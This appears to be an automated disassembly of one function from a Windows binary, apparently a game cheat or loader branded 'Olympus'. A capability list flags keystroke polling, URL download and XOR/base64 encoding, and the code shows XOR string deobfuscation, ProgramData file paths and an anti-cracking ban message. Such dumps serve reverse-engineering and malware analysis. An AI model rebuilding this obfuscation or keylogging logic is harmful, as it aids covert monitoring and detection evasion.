Function at 0x14004d820
Capabilities:
Create process on windows
Create thread
Download url
Encode data using base64
Encode data using xor
Log keystrokes via polling
Move file
Receive data
Terminate process

Disassembly:
push rbp
push r15
lea rbp, [rsp - 0x6e8]
sub rsp, 0x7e8
mov rax, qword [0x1400ef080]
xor rax, rsp
mov qword [rbp + 0x620], rax
mov ecx, 8
call fcn.1400c1afc
lea rcx, [0x14004d050]
xor r15d, r15d
mov r9, rax
lea r8, [0x140059550]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x430]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x428], rax
test rax, rax
je 0x140052c0d
mov qword [rsp + 0x800], rbx
lea rcx, [rbp + 0x390]
mov qword [rsp + 0x810], rdi
mov qword [rsp + 0x7d0], r14
mov qword [rsp + 0x808], rsi
mov qword [rsp + 0x7e0], r12
mov qword [rsp + 0x7d8], r13
movaps xmmword [rsp + 0x7c0], xmm6
movaps xmmword [rsp + 0x7b0], xmm7
movaps xmmword [rsp + 0x7a0], xmm8
movaps xmmword [rsp + 0x790], xmm9
movaps xmmword [rsp + 0x780], xmm10
movaps xmmword [rsp + 0x770], xmm11
movaps xmmword [rsp + 0x760], xmm12
movaps xmmword [rsp + 0x750], xmm13
movaps xmmword [rsp + 0x740], xmm14
movaps xmmword [rsp + 0x730], xmm15
call fcn.1400489c0
lea rax, [0x1400536c0]
mov dword [rbp + 0x240], 0x50
xor ecx, ecx
mov qword [rbp + 0x248], rax
mov dword [rbp + 0x244], 0x40
mov qword [rbp + 0x250], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp qword [rbp + 0x3a8], 0x10
lea rcx, [rbp + 0x240]
mov qword [rbp + 0x258], rax
xorps xmm0, xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x260], xmm0
lea rax, [rbp + 0x390]
movdqu xmmword [rbp + 0x270], xmm1
cmovae rax, qword [rbp + 0x390]
mov qword [rbp + 0x280], rax
mov qword [rbp + 0x288], r15
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov rax, qword [rbp + 0x258]
lea r8, [rbp + 0x390]
cmp qword [rbp + 0x3a8], 0x10
mov r14d, 5
mov rdx, qword [rbp + 0x280]
mov r9d, 0x80000000
cmovae r8, qword [rbp + 0x390]
xor ecx, ecx
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.USER32.dll_CreateWindowExA]
lea ecx, [r15 + 0x20]
mov qword [rbp + 0x130], rax
mov rbx, rax
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov qword [0x1400f0c40], rax
mov rcx, rax
lea edi, [r15 + 1]
test rax, rax
je 0x140052b50
lea rdx, [0x1400f0c30]
mov qword [0x1400f0bf0], r15
mov qword [rsp + 0x30], rdx
mov r9, rbx
lea rdx, [0x1400f0bf0]
mov qword [0x1400f0bfc], r15
mov qword [rsp + 0x28], rdx
mov r8d, edi
mov dword [0x1400f0c04], r15d
xor edx, edx
mov qword [0x1400f0c0c], r15
mov dword [0x1400f0c14], r15d
mov qword [0x1400f0c24], r15
mov dword [0x1400f0c18], edi
mov dword [0x1400f0c08], edi
mov dword [0x1400f0bf8], r15d
mov dword [0x1400f0c1c], edi
mov dword [0x1400f0c20], 0x50
mov dword [0x1400f0c2c], edi
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
call qword [rax + 0x80]
test eax, eax
js 0x140052b49
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rbx
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rax, qword [0x1400f0be0]
test rax, rax
je 0x14004dae2
inc dword [rax + 0x3b0]
mov ecx, 0x40b0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x14004db01
xor edx, edx
mov rcx, rax
call fcn.140001ec0
mov rcx, rax
jmp 0x14004db04
mov rcx, r15
mov rax, qword [0x1400f0be0]
test rax, rax
cmove rax, rcx
mov qword [0x1400f0be0], rax
call fcn.140008bc0
mov rsi, qword [0x1400f0be0]
mov ecx, r15d
movups xmm0, xmmword [0x1400db4b8]
mov eax, dword [0x1400db4d0]
mov edi, Ordinal_33
mov dword [rbp + 0x58], eax
or dword [rsi + 8], 0x400
movzx eax, byte [0x1400db4d4]
mov qword [rsi + 0x20], r15
mov r13d, dword [reloc.WS2_32.dll_accept]
mov qword [rbp + 0xe8], rsi
mov byte [rbp + 0x5c], al
movups xmmword [rbp + 0x40], xmm0
movsd xmm0, qword [0x1400db4c8]
movsd qword [rbp + 0x50], xmm0
cmp r13d, 2
jl 0x14004dcce
movdqa xmm0, xmmword [str.7777777777777777]
lea rdx, [rbp + 0x40]
movdqa xmm5, xmmword [0x1400db8b0]
movdqa xmm4, xmmword [0x1400dbc60]
movdqa xmm7, xmmword [0x1400db8d0]
movdqa xmmword [rbp + 0x230], xmm0
mov r8d, dword [rbp + 0x230]
movd xmm6, r14d
movd xmm8, edi
nop dword [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
pxor xmm2, xmm0
movd dword [rdx - 4], xmm2
cmp ecx, 0x18
jl 0x14004dbc0
cmp ecx, 0x1d
jge 0x14004dd0f
movsxd rax, ecx
lea r8, [rbp + 0x40]
add r8, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
inc ecx
sub al, dl
add al, 0x37
xor byte [r8 - 1], al
cmp ecx, 0x1d
jl 0x14004dce0
movss xmm2, dword [0x1400db748]
lea rdx, [rbp + 0x40]
mov rcx, qword [rsi + 0xa8]
call fcn.14002fc50
mov eax, dword [0x1400db4d0]
mov ecx, r15d
mov dword [rbp + 0x58], eax
movzx eax, byte [0x1400db4d4]
mov byte [rbp + 0x5c], al
movups xmm0, xmmword [0x1400db4b8]
movups xmmword [rbp + 0x40], xmm0
movsd xmm0, qword [0x1400db4c8]
movsd qword [rbp + 0x50], xmm0
cmp r13d, 2
jl 0x14004deae
movdqa xmm0, xmmword [str.7777777777777777]
lea rdx, [rbp + 0x40]
movdqa xmm5, xmmword [0x1400db8b0]
movdqa xmm4, xmmword [0x1400dbc60]
movdqa xmm7, xmmword [0x1400db8d0]
movdqa xmmword [rbp + 0x230], xmm0
mov r8d, dword [rbp + 0x230]
movd xmm6, r14d
movd xmm8, edi
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
pxor xmm2, xmm0
movd dword [rdx - 4], xmm2
cmp ecx, 0x18
jl 0x14004dda0
cmp ecx, 0x1d
jge 0x14004deef
movsxd rax, ecx
lea r8, [rbp + 0x40]
add r8, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
inc ecx
sub al, dl
add al, 0x37
xor byte [r8 - 1], al
cmp ecx, 0x1d
jl 0x14004dec0
movss xmm2, dword [0x1400db744]
lea rdx, [rbp + 0x40]
mov rcx, qword [rsi + 0xa8]
call fcn.14002fc50
movaps xmm0, xmmword [0x1400dbab0]
xorps xmm1, xmm1
mov qword [0x1400f0c38], rax
mov rcx, rbx
mov rax, qword [0x1400f0be0]
mov qword [rax + 0x163c], r15
mov dword [rax + 0x1648], 0x3f800000
mov dword [rax + 0x1670], 0x40a00000
mov qword [rax + 0x1674], 0x40c00000
mov dword [rax + 0x167c], 0x3f800000
mov dword [rax + 0x1654], 0x3f000000
mov dword [rax + 0x1658], 0x3f000000
mov dword [rax + 0x1664], 0x3f800000
movups xmmword [rax + 0x171c], xmm0
movaps xmm0, xmmword [0x1400dbbe0]
movups xmmword [rax + 0x16fc], xmm0
movaps xmm0, xmmword [0x1400dbae0]
movups xmmword [rax + 0x172c], xmm1
movaps xmm1, xmmword [0x1400dbab0]
movups xmmword [rax + 0x174c], xmm0
movaps xmm0, xmm1
movups xmmword [rax + 0x175c], xmm1
movups xmmword [rax + 0x176c], xmm1
movups xmmword [rax + 0x179c], xmm1
movups xmmword [rax + 0x17ac], xmm1
movups xmmword [rax + 0x17bc], xmm1
call fcn.140035bf0
mov rcx, qword [0x1400f0c30]
lea rax, str.imgui_impl_dx9
mov rbx, qword [0x1400f0be0]
mov qword [0x1400f1320], rcx
or dword [rbx + 0xc], 0x1008
mov qword [rbx + 0xe8], rax
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
test dword [rbx + 8], 0x400
je 0x14004e052
mov rax, qword [0x1400f0be0]
lea rcx, [fcn.1400358c0]
mov qword [rax + 0x15f0], rcx
lea rcx, [fcn.140035990]
mov qword [rax + 0x15f8], rcx
lea rcx, [0x140035a10]
mov qword [rax + 0x1600], rcx
lea rcx, [0x140035a70]
mov qword [rax + 0x1608], rcx
lea rcx, [0x140035bc0]
mov qword [rax + 0x1610], rcx
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x478]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rbp + 0x480]
xorps xmm0, xmm0
add eax, 0xfffffe70
mov r8d, r15d
movups xmmword [0x1400f0c48], xmm0
movups xmmword [0x1400f0c58], xmm0
movups xmm0, xmmword [0x1400db258]
movd xmm9, eax
mov eax, dword [rbp + 0x484]
add eax, 0xfffffed4
cvtdq2ps xmm9, xmm9
movd xmm1, eax
mov eax, dword [0x1400db270]
mulss xmm9, dword [0x1400db6a0]
mov dword [rbp + 0x58], eax
movzx eax, byte [0x1400db274]
mov byte [rbp + 0x5c], al
movss dword [rbp - 0x80], xmm9
cvtdq2ps xmm1, xmm1
movups xmmword [rbp + 0x40], xmm0
mulss xmm1, dword [0x1400db6a0]
movsd xmm0, qword [0x1400db268]
movsd qword [rbp + 0x50], xmm0
movss dword [rbp + 0xb0], xmm1
cmp r13d, 2
jl 0x14004e243
movdqa xmm0, xmmword [str.7777777777777777]
lea rcx, [rbp + 0x40]
movdqa xmm5, xmmword [0x1400db8b0]
movdqa xmm4, xmmword [0x1400dbc60]
movdqa xmm7, xmmword [0x1400db8d0]
movdqa xmmword [rbp + 0x230], xmm0
mov edx, dword [rbp + 0x230]
movd xmm6, r14d
movd xmm8, edi
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x14004e132
cmp r8d, 0x1d
jge 0x14004e284
movsxd rax, r8d
lea r9, [rbp + 0x40]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x14004e250
xorps xmm0, xmm0
mov qword [rbp + 0x2a0], r15
mov r12, 0xffffffffffffffff
mov qword [rbp + 0x2a8], r15
movups xmmword [rbp + 0x290], xmm0
mov r8, r12
lea rax, [rbp + 0x40]
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x14004e2b0
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x290]
call fcn.140056c90
lea rdx, [rbp + 0x290]
call fcn.140048270
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0x10
jb 0x14004e318
mov rcx, qword [rbp + 0x290]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e313
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rdi
jbe 0x14004e313
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c17e8
lea rax, str.C:ProgramDataMicrosoftPlus
mov qword [rbp + 0x2c8], Ordinal_33
mov qword [rbp + 0x2c0], rax
call fcn.1400c26ac
movaps xmm0, xmmword [rbp + 0x2c0]
lea r8, [rbp + 0xc0]
mov edx, eax
movdqa xmmword [rbp + 0xc0], xmm0
lea rcx, [rbp + 0x290]
call fcn.140046b40
cmp qword [rbp + 0x2a8], 8
lea rcx, [rbp + 0x290]
cmovae rcx, qword [rbp + 0x290]
call fcn.1400c2c94
movzx ecx, al
lea rbx, [0x1400ef780]
shr rax, 0x20
mov dword [rbp + 0x2c0], eax
mov qword [rbp + 0x2c8], rbx
movaps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x2c0], xmm0
mov qword [rbp + 0x328], rcx
cmp eax, 0x91
jne 0x14004e3c8
lea r8, [rbp + 0x328]
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x290]
call fcn.140047f70
cmp dword [rbp + 0x2c0], r15d
jne 0x140052c3b
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 8
jb 0x14004e41d
mov rcx, qword [rbp + 0x290]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e418
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rdi
jbe 0x14004e418
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c17e8
lea rax, str.C:ProgramData_ask1298isadoi892112
mov qword [rbp + 0x2c8], Ordinal_41
mov qword [rbp + 0x2c0], rax
call fcn.1400c26ac
movaps xmm0, xmmword [rbp + 0x2c0]
lea r8, [rbp + 0xc0]
mov edx, eax
movdqa xmmword [rbp + 0xc0], xmm0
lea rcx, [rbp + 0x290]
call fcn.140046b40
cmp qword [rbp + 0x2a8], 8
lea rcx, [rbp + 0x290]
cmovae rcx, qword [rbp + 0x290]
call fcn.1400c2c94
movzx ecx, al
shr rax, 0x20
mov dword [rbp + 0x2c0], eax
mov qword [rbp + 0x2c8], rbx
movaps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x2c0], xmm0
mov qword [rbp + 0x328], rcx
cmp eax, 0x91
jne 0x14004e4c6
lea r8, [rbp + 0x328]
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x290]
call fcn.140047f70
cmp dword [rbp + 0x2c0], r15d
jne 0x140052c56
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 8
jb 0x14004e51b
mov rcx, qword [rbp + 0x290]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e516
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rdi
jbe 0x14004e516
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c17e8
lea rcx, [0x1400f1040]
call fcn.14006bcf0
lea rcx, [0x1400f1040]
call fcn.140068b60
test al, al
je 0x14004e55c
mov r9d, Ordinal_50
lea r8, str.Olympus
lea rdx, str.Banned_for_attempting_to_crack_software._If_you_believe_this_is_a_mistake_and_or_want_to_appeal__please_make_a_ticket.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp byte [0x1400f1250], r15b
jne 0x14004e5ba
lea rdx, [rbp - 0x74]
call fcn.140052cd0
mov rbx, rax
movzx eax, byte [rax + 5]
test al, al
je 0x14004e591
xor byte [rbx], 0x37
xor byte [rbx + 1], 0x38
xor byte [rbx + 2], 0x39
xor byte [rbx + 3], 0x3a
xor byte [rbx + 4], 0x3b
xor al, 0x3c
mov byte [rbx + 5], al
lea rcx, [0x1400f1258]
call fcn.140055050
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movss xmm12, dword [0x1400db794]
xorps xmm0, xmm0
movss xmm13, dword [0x1400db7ac]
movss xmm15, dword [0x1400db774]
movss xmm14, dword [0x1400db7b0]
movss xmm11, dword [0x1400db740]
movss xmm10, dword [0x1400db72c]
movups xmmword [rbp + 0x488], xmm0
movups xmmword [rbp + 0x498], xmm0
movups xmmword [rbp + 0x4a8], xmm0
nop dword [rax + rax]
mov eax, 1
lea rcx, [rbp + 0x488]
xor r9d, r9d
mov dword [rsp + 0x20], eax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14004e651
lea rcx, [rbp + 0x488]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x488]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x140052687
cmp qword [0x1400f1310], 0
jne 0x14004e660
call fcn.140035750
mov rcx, qword [0x1400f1350]
lea rdx, [rbp + 0x230]
mov rbx, qword [0x1400f0be0]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x230], xmm0
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rbp + 0x23c]
sub eax, dword [rbp + 0x234]
movd xmm1, eax
mov eax, dword [rbp + 0x238]
sub eax, dword [rbp + 0x230]
cmp byte [reloc.WS2_32.dll_accept], 0
cvtdq2ps xmm1, xmm1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x14], xmm1
movss dword [rbx + 0x10], xmm0
je 0x14004e714
mov rdi, qword [0x1400f0be0]
mov ecx, dword [rdi + 0x161c]
test ecx, ecx
jns 0x14004e6ed
mov eax, ecx
cdq
sub eax, edx
mov edx, r15d
sar eax, 1
add eax, ecx
lea rcx, [rdi + 0x1618]
test eax, eax
cmovg edx, eax
call fcn.140023480
xor r9d, r9d
mov dword [rdi + 0x1618], r15d
lea r8, [0x140036630]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayMonitors]
mov byte [reloc.WS2_32.dll_accept], 0
mov edi, Ordinal_33
lea rcx, [rbp + 0x420]
mov qword [rbp + 0x420], r15
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rbp + 0x420]
xorps xmm1, xmm1
mov rax, rcx
xorps xmm0, xmm0
sub rax, qword [0x1400f1358]
cvtsi2ss xmm0, qword [0x1400f1360]
cvtsi2ss xmm1, rax
divss xmm1, xmm0
movss dword [rbx + 0x18], xmm1
mov qword [0x1400f1358], rcx
mov ecx, reloc.WS2_32.dll_recvfrom
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, reloc.WS2_32.dll_recv
and al, 1
mov byte [rbx + 0x13c], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, reloc.WS2_32.dll_select
and al, 1
mov byte [rbx + 0x13d], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x13f], 0
mov byte [rbx + 0x13e], al
call fcn.140036160
cmp byte [rbx + 0xcf], 0
je 0x14004e7b9
mov eax, r12d
jmp 0x14004e7c6
mov rax, qword [0x1400f0be0]
mov eax, dword [rax + 0x20d0]
cmp dword [reloc.WS2_32.dll_htons], eax
je 0x14004e7d9
mov dword [reloc.WS2_32.dll_htons], eax
call fcn.140035fe0
call fcn.140036360
call fcn.140007880
mov rax, qword [0x1400f0be0]
mov ecx, 2
movss xmm0, dword [rbp + 0xb0]
mov ebx, 1
movups xmm1, xmmword [0x1400daec8]
mov r8d, r15d
or dword [rax + 0x1dc0], 0x43
movss dword [rax + 0x1dd8], xmm0
movss dword [rax + 0x1dd4], xmm9
mov qword [rax + 0x1ddc], 0
mov dword [rax + 0x1dc4], ecx
mov byte [rax + 0x1dfc], 1
mov dword [rax + 0x1de4], 0x43c80000
mov dword [rax + 0x1de8], 0x43960000
mov dword [rax + 0x1dc8], ebx
mov dword [rax + 0x1e20], 0x3f800000
mov eax, dword [0x1400daed8]
mov dword [rbp + 0x2f0], eax
movzx eax, word [0x1400daedc]
mov word [rbp + 0x2f4], ax
movzx eax, byte [0x1400daede]
mov byte [rbp + 0x2f6], al
movups xmm0, xmmword [str.xT_WKIN]
movups xmmword [rbp + 0x2e0], xmm1
movups xmmword [rbp + 0x2d0], xmm0
cmp r13d, ecx
jl 0x14004e9f1
movdqa xmm0, xmmword [str.7777777777777777]
lea rcx, [rbp + 0x2d0]
movdqa xmm5, xmmword [0x1400db8b0]
movdqa xmm4, xmmword [0x1400dbc60]
movdqa xmm7, xmmword [0x1400db8d0]
movdqa xmmword [rbp + 0x230], xmm0
mov edx, dword [rbp + 0x230]
movd xmm6, r14d
movd xmm8, edi
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x14004e8e0
cmp r8d, 0x27
jge 0x14004ea34
movsxd rax, r8d
lea r9, [rbp + 0x2d0]
add r9, rax
nop
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x27
jl 0x14004ea00
mov r8d, 0x168
lea rdx, [0x1400ef38c]
lea rcx, [rbp + 0x2d0]
call fcn.14000e010
call fcn.14004c320
cmp qword [0x1400f0c68], 0
jne 0x14004eac6
mov rcx, qword [0x1400f0c30]
lea rax, [0x1400f0c68]
mov qword [rsp + 0x70], rax
lea rdx, [0x1400ef0c0]
mov qword [rsp + 0x68], r15
mov r9d, reloc.WLDAP32.dll_Ordinal_32
mov qword [rsp + 0x60], r15
mov r8d, 0x2cc
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + reloc.WLDAP32.dll_Ordinal_32], 0x20
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x1400f0c70], 0
jne 0x14004eb3a
mov rcx, qword [0x1400f0c30]
lea rax, [0x1400f0c70]
mov qword [rsp + 0x70], rax
lea rdx, [0x1400ef390]
mov qword [rsp + 0x68], r15
mov r9d, reloc.WLDAP32.dll_Ordinal_32
mov qword [rsp + 0x60], r15
mov r8d, 0x1f3
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
